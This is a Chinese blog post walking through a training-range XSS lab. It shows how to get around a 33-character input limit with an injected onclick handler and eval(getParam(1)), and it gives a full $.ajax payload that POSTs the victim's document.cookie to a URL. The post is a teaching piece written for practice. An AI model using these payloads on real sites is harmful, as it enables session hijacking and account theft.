(五)跨站脚本XSS之长度限制


  • 我们平时测试总会用alert(1)去测试是否存在xss漏洞,但真到了要利用这个漏洞。执行的代码就不是alert(1)这么简单了,一些输入点具有字符长度的限制,可能测试语句alert(1)可以顺利执行,但真正的利用代码就会很长,导致无法顺利利用,本篇文章将会介绍些突破长度限制的方法。

  • 靶场由知识盒子提供,靶场五 地址:https://tofu.exeye.run/limit

  • 靶场的要求是用XSS构造一个POST请求,将自己的cookie发送到指定的URL,指定的URL会根据你发送的cookie值来决定响应内容,如果正确的话,网页将会弹出正确的flag,否则会弹出请传入正确的cookie参数

    • 打开页面,只有一个搜索按钮可以点击,而且题目是突破长度限制,说明输入是有限制的

    • 尝试通过输入字符找出限制,通过输入四组1到9,发现第四组的789没有出现在记录中,所以我们最多输入的字符为33个

    • 接着我们,打开控制台,找出记录在源码中的位置,看看能不能直接触发XSS,顺便看看会不会有过滤

    • 从上图我们可以看到,记录原原本本地出现在了标签之中,尝试<script>alert(1)</script>

    被过滤掉了

    • 但是很遗憾,<script></script>都被过滤掉了
    • 分析代码,发现标签的内容也是我们可以控制的,所以我们可以尝试构造onclick事件
    • 闭合log字段,构造payload:”onclick=”alert(1)”
    • 添加到记录后我们查看源代码,成功地构造了一个onclick事件

    • 点击有onclick事件的记录,成功弹窗


  • 但是跨站脚本的目的肯定不是弹窗对吧

  • 所以我们来构造个更有趣的payload

  • $.ajax({url:'https://tofu.exeye.run/limit_check',
            type:'post',
            data:{cookie:document.cookie},
            success:function(res){alert(res)}
           })
  • 这段代码可以向指定的URL发送POST请求,并且附上点击者的cookie,然后success字段的函数会把响应的内容以弹窗的形式反馈给我们

  • 但是这段代码需要用eval执行,所以最终的payload为

  • "onclick="eval($.ajax({url:'https://tofu.exeye.run/limit_check',type:'post',data:{cookie:document.cookie},success:function(res){alert(res)}}))"
  • 上面说了,搜索框的限制为33字符,那么我们该怎么使用这么长的payload呢


  • 接下来我们试试第一种方法

    • 在javascripts中location.href.substr(x)可获取浏览器地址栏中第x个字符以后的文本
    • 比如location.href.substr(66),就是获取url中第66个字符以后的文本
    • 不信的同学可以尝试到控制台去运行下,然后在地址栏中数数
  • URL

  • 控制台console界面

    • 所以我们可以尝试先将payload输入到地址栏中,因为地址栏是不会限制字符数的,输入后先在console测试多少个字符开始后是我们的payload

    • 然后再构造另一部分payload:”onclick=”eval(location.href.substr(35))”
    • 但是很遗憾这段payload的长度是44个字符,还是超过了33
    • 那么只能找找网页本身的js代码,寻找是否有开发者写入的网页本身的调用参数的简单语句了

  • 第二种方法:

    • 控制记录输出的部分js代码

    • let query =  getParam('query')||''             //从location.search中获取query参数的值
              if (query){
                  query=query.replace(/<|>|script/g,'').substring(0, 33)  //33字符限制
              }
              if (query!=''){
              record.record_list.unshift({search: query, time: new Date().toLocaleString()})
              localStorage.setItem('searchInfo', JSON.stringify(record))
              }
              $('.search-ipt').val(query)
              if (record && record.length != 0) {
                  let str = ''
                  record.record_list.forEach(i => {
                      str += '<h4><a class="cd-nowrap"  log="'+i.search+':content">'+i.search+'</a></h4><time datetime="2016-01-12">'+i.time+'</time>'
      
              })
              $('.record-box').append(str)
          }
      
      })
      
      function getParam(name) {             
          if (location.search!=''){             //如果location.search不为空
              let param = new URLSearchParams(location.search)   //创建个新的对象,值为所有的参数
              return decodeURI(param.get(name))               //param从参数name中取出value,然后解码
          }
          else {
              return ''
          }
      }
    • 通过分析上述代码,我们发现函数getParam()可以取出地址栏中对应参数的值

    • 所以我们可以构造这样一个payload:"onclick="eval(getParam(1))"

    • 接着在后面用&附上参数1的值,也就是我们真正能发挥作用的payload

    • 我们先让参数1的值为alert(‘XSS’),不过这里已经经过URL编码

    • 然后在console中调用下函数,可以看到参数1确实被赋值了

    • 点击记录,也能触发弹窗

    • 接着我们就可以将参数1换成真正的payload拿到正确flag了

    • 这里最后验证下,通过抓包可以看到,我们确实将自己的cookie发送过去了

    • 假如你发送过去的cookie值不对,那么会提示输入正确的cookie,也无法弹出正确的flag了

    提示请传入正确的cookie参数,我的burp不能显示中文所以乱码了

    • 正确的flag


  • 知识拓展:

    • location.search:地址栏中?后所有的参数值(包括问号)

    • js中location.href.substr(x)可获取浏览器地址栏中第x个字符以后的文本

      • 比如location.href.substr(66),就是获取地址栏中第66个字符以后的文本
    • 什么是AJAX

      • AJAX = 异步 JavaScript 和 XML(Asynchronous JavaScript and XML)。简短地说,在不重载整个网页的情况下,AJAX 通过后台加载数据,并在网页上进行显示。

      • 我们的恶意代码就是通过异步的方式,在后台对指定URL发起POST请求,然后根据响应内容弹窗

      • $.ajax({url:'https://tofu.exeye.run/limit_check',
                type:'post',
                data:{cookie:document.cookie},
                success:function(res){alert(res)}
               })

文章作者: wkai
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wkai !
 上一篇
(二)跨站脚本XSS之打破网页结构 (二)跨站脚本XSS之打破网页结构
这个靶场主要是讲一个xss攻击技巧,当我们发现自己的输入值进入了html标签的属性值。那么我们就可以想办法打破闭合标签,造成xss。靶场由知识盒子提供,靶场地址:https://tofu.exeye.run/dom 打开页面依旧是
2020-07-28
下一篇 
(四)跨站脚本XSS之逃逸过滤 (四)跨站脚本XSS之逃逸过滤
当我们学会了打破网页结构之后,我们发现这个技巧有些情况并不适用。并不能成功的闭合标签,或者像<script>标签直接被过滤。这时候我们应该换一个思路,使用事件属性来突破。 靶场由知识盒子提供,本篇靶场地址:https://to
2020-07-28
  目录